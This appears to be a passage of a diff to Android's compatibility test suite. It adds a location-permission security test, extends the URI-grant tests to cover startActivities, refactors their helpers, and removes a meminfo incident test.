+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLocationPolicyApp",
+    defaults: ["cts_defaults"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "telephony-common",
+    ],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+        "general-tests",
+    ],
+    min_sdk_version: "27",
+    target_sdk_version: "28",
+}
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml
new file mode 100644
index 0000000..ed9d1fc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+  package="android.appsecurity.cts.locationpolicy">
+
+    <application>
+      <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.appsecurity.cts.locationpolicy"
+                     android:label="Test to check location policy access for bad sdk."/>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
new file mode 100644
index 0000000..74ce0c5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts.locationpolicy;
+
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.SecurityTest;
+import android.telephony.TelephonyManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationPolicyTest {
+
+    private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
+
+    @Test
+    @SecurityTest
+    public void testLocationPolicyPermissions() throws Exception {
+        assertNotNull(mContext);
+        PackageManager pm = mContext.getPackageManager();
+        assertNotNull(pm);
+        assertNotEquals(
+            PackageManager.PERMISSION_GRANTED,
+            pm.checkPermission(Manifest.permission.ACCESS_FINE_LOCATION,
+            mContext.getPackageName()));
+        assertNotEquals(
+            PackageManager.PERMISSION_GRANTED,
+            pm.checkPermission(Manifest.permission.ACCESS_COARSE_LOCATION,
+            mContext.getPackageName()));
+        TelephonyManager tele = mContext.getSystemService(TelephonyManager.class);
+        try {
+            tele.getCellLocation();
+        fail(
+            "ACCESS_FINE_LOCATION and ACCESS_COARSE_LOCATION Permissions not granted. Should have"
+              + " received a security exception when invoking getCellLocation().");
+        } catch (SecurityException ignore) {
+          // That's what we want!
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
index d3564f9..39da864 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
@@ -35,6 +35,7 @@
     public static final String ACTION_GRANT_URI = "grantUri";
     public static final String ACTION_REVOKE_URI = "revokeUri";
     public static final String ACTION_START_ACTIVITY = "startActivity";
+    public static final String ACTION_START_ACTIVITIES = "startActivities";
     public static final String ACTION_START_SERVICE = "startService";
     public static final String ACTION_VERIFY_OUTGOING_PERSISTED = "verifyOutgoingPersisted";
     public static final String ACTION_SET_PRIMARY_CLIP = "setPrimaryClip";
@@ -70,6 +71,11 @@
                 newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                 context.startActivity(newIntent);
 
+            } else if (ACTION_START_ACTIVITIES.equals(action)) {
+                final Intent newIntent = intent.getParcelableExtra(EXTRA_INTENT);
+                newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                context.startActivities(new Intent[] { newIntent });
+
             } else if (ACTION_START_SERVICE.equals(action)) {
                 final Intent newIntent = intent.getParcelableExtra(EXTRA_INTENT);
                 context.startService(newIntent);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
index 26a2eee..132d7f6 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
@@ -22,7 +22,8 @@
 import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
 import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivities;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivity;
 
 import static junit.framework.Assert.fail;
 
@@ -85,7 +86,7 @@
         // --------------------------------
 
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(subClip, mode, false);
+        grantClipUriPermissionViaActivities(subClip, mode);
         ReceiveUriActivity.waitForStart();
 
         assertAccess(uri, 0);
@@ -99,7 +100,7 @@
         // --------------------------------
 
         ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(sub2Clip, mode, false);
+        grantClipUriPermissionViaActivity(sub2Clip, mode);
         ReceiveUriActivity.waitForNewIntent();
 
         assertAccess(uri, 0);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
index 7be059f..444c1bf 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
@@ -22,7 +22,7 @@
 import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
 import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaService;
 
 import static junit.framework.Assert.fail;
 
@@ -79,7 +79,7 @@
         // --------------------------------
 
         ReceiveUriService.clearStarted();
-        grantClipUriPermission(subClip, mode, true);
+        grantClipUriPermissionViaService(subClip, mode);
         ReceiveUriService.waitForStart();
 
         int firstStartId = ReceiveUriService.getCurStartId();
@@ -96,7 +96,7 @@
 
         // Send another Intent to it.
         ReceiveUriService.clearStarted();
-        grantClipUriPermission(sub2Clip, mode, true);
+        grantClipUriPermissionViaService(sub2Clip, mode);
         ReceiveUriService.waitForStart();
 
         assertAccess(uri, 0);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
index a955dbc..8058d5b 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
@@ -23,7 +23,7 @@
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingClipNotAllowed;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipAllowed;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipNotAllowed;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivity;
 import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaContext;
 import static com.android.cts.usespermissiondiffcertapp.Utils.revokeClipUriPermissionViaContext;
 
@@ -104,8 +104,8 @@
 
         // Now, let's grant ourselves some access
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
         ReceiveUriActivity.waitForStart();
 
         // We should now have reading access, even before taking the persistable
@@ -129,9 +129,9 @@
 
         // Launch again giving ourselves persistable read and write access
         ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
                 | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
-                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
         ReceiveUriActivity.waitForNewIntent();
 
         // Previous persisted grant should be unchanged
@@ -190,8 +190,8 @@
 
         // Give ourselves prefix read access
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+        grantClipUriPermissionViaActivity(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
         ReceiveUriActivity.waitForStart();
 
         // Verify prefix read access
@@ -204,7 +204,7 @@
 
         // Now give ourselves exact write access
         ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
         ReceiveUriActivity.waitForNewIntent();
 
         // Verify we have exact write access, but not prefix write
@@ -233,9 +233,9 @@
 
         // Give ourselves prefix read access
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
                 | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
-                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
         ReceiveUriActivity.waitForStart();
 
         // Verify prefix read access
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
index 48cac57..62bad1f 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
@@ -20,6 +20,7 @@
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_GRANT_URI;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_REVOKE_URI;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_SET_PRIMARY_CLIP;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITIES;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITY;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_SERVICE;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_VERIFY_OUTGOING_PERSISTED;
@@ -38,6 +39,8 @@
 
 import com.android.cts.permissiondeclareapp.UtilsProvider;
 
+import java.util.Objects;
+
 public class Utils {
     private static Context getContext() {
         return InstrumentationRegistry.getTargetContext();
@@ -49,7 +52,19 @@
         getContext().getContentResolver().call(UtilsProvider.URI, "", "", extras);
     }
 
-    static void grantClipUriPermission(ClipData clip, int mode, boolean service) {
+    static void grantClipUriPermissionViaActivity(ClipData clip, int mode) {
+        grantClipUriPermission(clip, mode, ACTION_START_ACTIVITY);
+    }
+
+    static void grantClipUriPermissionViaActivities(ClipData clip, int mode) {
+        grantClipUriPermission(clip, mode, ACTION_START_ACTIVITIES);
+    }
+
+    static void grantClipUriPermissionViaService(ClipData clip, int mode) {
+        grantClipUriPermission(clip, mode, ACTION_START_SERVICE);
+    }
+
+    private static void grantClipUriPermission(ClipData clip, int mode, String action) {
         Intent grantIntent = new Intent();
         if (clip.getItemCount() == 1) {
             grantIntent.setData(clip.getItemAt(0).getUri());
@@ -65,9 +80,10 @@
         }
         grantIntent.addFlags(mode);
         grantIntent.setClass(getContext(),
-                service ? ReceiveUriService.class : ReceiveUriActivity.class);
+                Objects.equals(ACTION_START_SERVICE, action) ? ReceiveUriService.class
+                        : ReceiveUriActivity.class);
         Intent intent = new Intent();
-        intent.setAction(service ? ACTION_START_SERVICE : ACTION_START_ACTIVITY);
+        intent.setAction(action);
         intent.putExtra(EXTRA_INTENT, grantIntent);
         call(intent);
     }
diff --git a/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java b/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
index 3e7c1da..2f4164f 100644
--- a/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/MultiUserBackupStateTest.java
@@ -23,6 +23,8 @@
 import com.android.compatibility.common.util.CommonTestUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import com.android.tradefed.log.LogUtil.CLog;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -40,6 +42,12 @@
 
     private Optional<Integer> mProfileUserId = Optional.empty();
 
+    /**
+     * User ID for the system user.
+     * The value is from the UserHandle class.
+     */
+    protected static final int USER_SYSTEM = 0;
+
     /** Create the profile and start it. */
     @Before
     @Override
@@ -79,11 +87,21 @@
 
         assertTrue(mBackupUtils.isBackupActivatedForUser(profileUserId));
 
-        assertTrue(getDevice().removeUser(profileUserId));
+        removeUser(profileUserId);
         mProfileUserId = Optional.empty();
 
         CommonTestUtils.waitUntil("wait for backup to be deactivated for removed user",
                 BACKUP_DEACTIVATION_TIMEOUT_SECONDS,
                 () -> !mBackupUtils.isBackupActivatedForUser(profileUserId));
     }
+
+    private void removeUser(int userId) throws Exception  {
+        if (getDevice().listUsers().contains(userId) && userId != USER_SYSTEM) {
+            // Don't log output, as tests sometimes set no debug user restriction, which
+            // causes this to fail, we should still continue and remove the user.
+            CLog.d("Stopping and removing user " + userId);
+            getDevice().stopUser(userId, true, true);
+            assertTrue("Couldn't remove user", getDevice().removeUser(userId));
+        }
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
index f6659f3..4321f38 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -88,12 +88,6 @@
         mUiDevice.pressHome();
     }
 
-    public void testLockTaskIsActive() throws Exception {
-        Log.d(TAG, "testLockTaskIsActive on host-driven test");
-        waitAndCheckLockedActivityIsResumed();
-        checkLockedActivityIsRunning();
-    }
-
     /**
      * On low-RAM devices, this test can take too long to finish, so the test runner can incorrectly
      * assume it's finished. Therefore, only use it once in a given test.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 048468c..5beb487 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -726,6 +726,7 @@
         try {
             // Install and enable assistant, notice that profile can't have assistant.
             installAppAsUser(ASSIST_APP_APK, mPrimaryUserId);
+            waitForBroadcastIdle();
             setVoiceInteractionService(ASSIST_INTERACTION_SERVICE);
             setScreenCaptureDisabled_assist(mUserId, true /* disabled */);
         } finally {
@@ -1226,9 +1227,6 @@
             // Wait for the LockTask starting
             waitForBroadcastIdle();
 
-            // Make sure that the LockTaskUtilityActivityIfWhitelisted was started.
-            executeDeviceTestMethod(".LockTaskHostDrivenTest", "testLockTaskIsActive");
-
             // Try to open settings via adb
             executeShellCommand("am start -a android.settings.SETTINGS");
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
index f13cd86..1313c31 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
@@ -28,7 +28,7 @@
     private static final String ENABLED_TEST_APK = "CtsCrossProfileEnabledApp.apk";
     private static final String USER_ENABLED_TEST_APK = "CtsCrossProfileUserEnabledApp.apk";
     private static final String ENABLED_NO_PERMS_TEST_APK = "CtsCrossProfileEnabledNoPermsApp.apk";
-    private static final String QUIET_MODE_ENABLED_TEST_APK = "CtsQuietModeEnabledApp.apk";
+    private static final String QUIET_MODE_ENABLED_TEST_APK = "CtsModifyQuietModeEnabledApp.apk";
     private static final String NOT_ENABLED_TEST_APK = "CtsCrossProfileNotEnabledApp.apk";
     private static final String ENABLED_TEST_PACKAGE = "com.android.cts.crossprofileenabledapp";
     private static final String USER_ENABLED_TEST_PACKAGE =
@@ -38,7 +38,7 @@
     private static final String NOT_ENABLED_TEST_PACKAGE =
             "com.android.cts.crossprofilenotenabledapp";
     private static final String QUIET_MODE_ENABLED_TEST_PACKAGE =
-            "com.android.cts.quietmodeenabledapp";
+            "com.android.cts.modifyquietmodeenabledapp";
 
     private int mProfileId;
     private String mOriginalLauncher;
diff --git a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
index 460181d..f7dcec1 100644
--- a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
@@ -72,8 +72,6 @@
 
         AlarmManagerIncidentTest.verifyAlarmManagerServiceDumpProto(dump.getAlarm(), filterLevel);
 
-        MemInfoIncidentTest.verifyMemInfoDumpProto(dump.getMeminfo(), filterLevel);
-
         // GraphicsStats is expected to be all AUTOMATIC.
 
         WindowManagerIncidentTest.verifyWindowManagerServiceDumpProto(dump.getWindow(), filterLevel);
diff --git a/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java
deleted file mode 100644
index 2747972..0000000
--- a/hostsidetests/incident/src/com/android/server/cts/MemInfoIncidentTest.java
+++ /dev/null
@@ -1,181 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts;
-
-import com.android.server.am.MemInfoDumpProto;
-import com.android.server.am.MemInfoDumpProto.AppData;
-import com.android.server.am.MemInfoDumpProto.MemItem;
-import com.android.server.am.MemInfoDumpProto.ProcessMemory;
-
-/** Test to check that ActivityManager properly outputs meminfo data. */
-public class MemInfoIncidentTest extends ProtoDumpTestCase {
-
-    public void testMemInfoDump() throws Exception {
-        final MemInfoDumpProto dump =
-                getDump(MemInfoDumpProto.parser(), "dumpsys -t 30000 meminfo -a --proto");
-
-        verifyMemInfoDumpProto(dump, PRIVACY_NONE);
-    }
-
-    static void verifyMemInfoDumpProto(MemInfoDumpProto dump, final int filterLevel) throws Exception {
-        assertTrue(dump.getUptimeDurationMs() >= 0);
-        assertTrue(dump.getElapsedRealtimeMs() >= 0);
-
-        for (ProcessMemory pm : dump.getNativeProcessesList()) {
-            testProcessMemory(pm);
-        }
-
-        for (AppData ad : dump.getAppProcessesList()) {
-            testAppData(ad);
-        }
-
-        for (MemItem mi : dump.getTotalPssByProcessList()) {
-            testMemItem(mi);
-        }
-        for (MemItem mi : dump.getTotalPssByOomAdjustmentList()) {
-            testMemItem(mi);
-        }
-        for (MemItem mi : dump.getTotalPssByCategoryList()) {
-            testMemItem(mi);
-        }
-
-        assertTrue(0 <= dump.getTotalRamKb());
-        assertTrue(0 <= dump.getCachedPssKb());
-        assertTrue(0 <= dump.getCachedKernelKb());
-        assertTrue(0 <= dump.getFreeKb());
-        assertTrue(0 <= dump.getUsedPssKb());
-        assertTrue(0 <= dump.getUsedKernelKb());
-
-        // Ideally lost RAM would not be negative, but there's an issue where it's sometimes
-        // calculated to be negative.
-        // TODO: re-enable check once the underlying bug has been fixed.
-        // assertTrue(0 <= dump.getLostRamKb());
-
-        assertTrue(0 <= dump.getTotalZramKb());
-        assertTrue(0 <= dump.getZramPhysicalUsedInSwapKb());
-        assertTrue(0 <= dump.getTotalZramSwapKb());
-
-        assertTrue(0 <= dump.getKsmSharingKb());
-        assertTrue(0 <= dump.getKsmSharedKb());
-        assertTrue(0 <= dump.getKsmUnsharedKb());
-        assertTrue(0 <= dump.getKsmVolatileKb());
-
-        assertTrue("Tuning_mb (" + dump.getTuningMb() + ") is not positive", 0 < dump.getTuningMb());
-        assertTrue(0 < dump.getTuningLargeMb());
-
-        assertTrue(0 <= dump.getOomKb());
-
-        assertTrue(0 < dump.getRestoreLimitKb());
-    }
-
-    private static void testProcessMemory(ProcessMemory pm) throws Exception {
-        assertNotNull(pm);
-
-        assertTrue(0 < pm.getPid());
-        // On most Linux machines, the max pid value is 32768 (=2^15), but, it can be set to any
-        // value up to 4194304 (=2^22) if necessary.
-        assertTrue(4194304 >= pm.getPid());
-
-        testHeapInfo(pm.getNativeHeap());
-        testHeapInfo(pm.getDalvikHeap());
-
-        for (ProcessMemory.MemoryInfo mi : pm.getOtherHeapsList()) {
-            testMemoryInfo(mi);
-        }
-        testMemoryInfo(pm.getUnknownHeap());
-        testHeapInfo(pm.getTotalHeap());
-
-        for (ProcessMemory.MemoryInfo mi : pm.getDalvikDetailsList()) {
-            testMemoryInfo(mi);
-        }
-
-        ProcessMemory.AppSummary as = pm.getAppSummary();
-        assertTrue(0 <= as.getJavaHeapPssKb());
-        assertTrue(0 <= as.getNativeHeapPssKb());
-        assertTrue(0 <= as.getCodePssKb());
-        assertTrue(0 <= as.getStackPssKb());
-        assertTrue(0 <= as.getGraphicsPssKb());
-        assertTrue(0 <= as.getPrivateOtherPssKb());
-        assertTrue(0 <= as.getSystemPssKb());
-        assertTrue(0 <= as.getTotalSwapPss());
-        assertTrue(0 <= as.getTotalSwapKb());
-    }
-
-    private static void testMemoryInfo(ProcessMemory.MemoryInfo mi) throws Exception {
-        assertNotNull(mi);
-
-        assertTrue(0 <= mi.getTotalPssKb());
-        assertTrue(0 <= mi.getCleanPssKb());
-        assertTrue(0 <= mi.getSharedDirtyKb());
-        assertTrue(0 <= mi.getPrivateDirtyKb());
-        assertTrue(0 <= mi.getSharedCleanKb());
-        assertTrue(0 <= mi.getPrivateCleanKb());
-        assertTrue(0 <= mi.getDirtySwapKb());
-        assertTrue(0 <= mi.getDirtySwapPssKb());
-    }
-
-    private static void testHeapInfo(ProcessMemory.HeapInfo hi) throws Exception {
-        assertNotNull(hi);
-
-        testMemoryInfo(hi.getMemInfo());
-        assertTrue(0 <= hi.getHeapSizeKb());
-        assertTrue(0 <= hi.getHeapAllocKb());
-        assertTrue(0 <= hi.getHeapFreeKb());
-    }
-
-    private static void testAppData(AppData ad) throws Exception {
-        assertNotNull(ad);
-
-        testProcessMemory(ad.getProcessMemory());
-
-        AppData.ObjectStats os = ad.getObjects();
-        assertTrue(0 <= os.getViewInstanceCount());
-        assertTrue(0 <= os.getViewRootInstanceCount());
-        assertTrue(0 <= os.getAppContextInstanceCount());
-        assertTrue(0 <= os.getActivityInstanceCount());
-        assertTrue(0 <= os.getGlobalAssetCount());
-        assertTrue(0 <= os.getGlobalAssetManagerCount());
-        assertTrue(0 <= os.getLocalBinderObjectCount());
-        assertTrue(0 <= os.getProxyBinderObjectCount());
-        assertTrue(0 <= os.getParcelMemoryKb());
-        assertTrue(0 <= os.getParcelCount());
-        assertTrue(0 <= os.getBinderObjectDeathCount());
-        assertTrue(0 <= os.getOpenSslSocketCount());
-        assertTrue(0 <= os.getWebviewInstanceCount());
-
-        AppData.SqlStats ss = ad.getSql();
-        assertTrue(0 <= ss.getMemoryUsedKb());
-        assertTrue(0 <= ss.getPagecacheOverflowKb());
-        assertTrue(0 <= ss.getMallocSizeKb());
-        for (AppData.SqlStats.Database d : ss.getDatabasesList()) {
-            assertTrue(0 <= d.getPageSize());
-            assertTrue(0 <= d.getDbSize());
-            assertTrue(0 <= d.getLookasideB());
-        }
-    }
-
-    private static void testMemItem(MemItem mi) throws Exception {
-        assertNotNull(mi);
-
-        assertTrue(0 <= mi.getPssKb());
-        assertTrue(0 <= mi.getSwapPssKb());
-
-        for (MemItem smi : mi.getSubItemsList()) {
-            testMemItem(smi);
-        }
-    }
-}
diff --git a/hostsidetests/incrementalinstall/app/Android.bp b/hostsidetests/incrementalinstall/app/Android.bp
index 483011e..85a8be1 100644
--- a/hostsidetests/incrementalinstall/app/Android.bp
+++ b/hostsidetests/incrementalinstall/app/Android.bp
@@ -33,6 +33,10 @@
     export_package_resources: true,
     aapt_include_all_resources: true,
     manifest: "AndroidManifestV1.xml",
+
+    // This flag allow the native lib to be compressed in the apk or associated split apk, and
+    // needs to be extracted by the installer instead of calling directly into the apk.
+    use_embedded_native_libs: false,
 }
 
 // v2 implementation of test app built with v1 manifest for zero version update test.
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index 7738e31..d508a1d 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -62,7 +62,7 @@
